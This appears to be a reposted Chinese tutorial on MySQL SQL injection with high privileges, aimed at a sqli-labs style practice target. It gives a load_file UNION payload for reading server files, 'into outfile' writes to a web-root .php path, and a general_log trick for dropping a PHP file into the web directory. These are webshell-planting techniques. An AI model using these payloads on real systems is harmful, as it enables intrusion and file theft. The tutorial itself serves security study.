mysql load file 权限_sql注入--高权限,load_file读写文件

select '' into outfile '/var/www/html/1.php';

47466c2355a59ea7985b163f23bd9e86.png

1.MYSQL新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

secure_file_priv

1、限制mysqld 不允许导入 | 导出

--secure_file_prive=null

2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

--secure_file_priv=/tmp/

3、不对mysqld 的导入 | 导出做限制

--secure_file_priv=

linux

cat /etc/my.cnf

[mysqld]

secure_file_priv=

win

my.ini

[mysqld]

secure_file_priv=

查看secure_file_priv

show global variables like '%secure%';

高权限注入遇到secure_file_priv

在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。

mysql load file 权限_sql注入--高权限,load_file读写文件_第1张图片

替代方法:

要知道路径

set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '';

mysql load file 权限_sql注入--高权限,load_file读写文件_第2张图片

mysql load file 权限_sql注入--高权限,load_file读写文件_第3张图片

2高权限文件读写

load_file()读文件

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

mysql load file 权限_sql注入--高权限,load_file读写文件_第4张图片

1.路径使用\\ ,否则会被当作转义符号

2.路径使用/

3.盘符根路径下可用c:admin.txt

4.16进制文件名

5.char(路径ascii)

into outfile / into dumpfile写文件

mysql load file 权限_sql注入--高权限,load_file读写文件_第5张图片

你可能感兴趣的:(mysql,load,file,权限)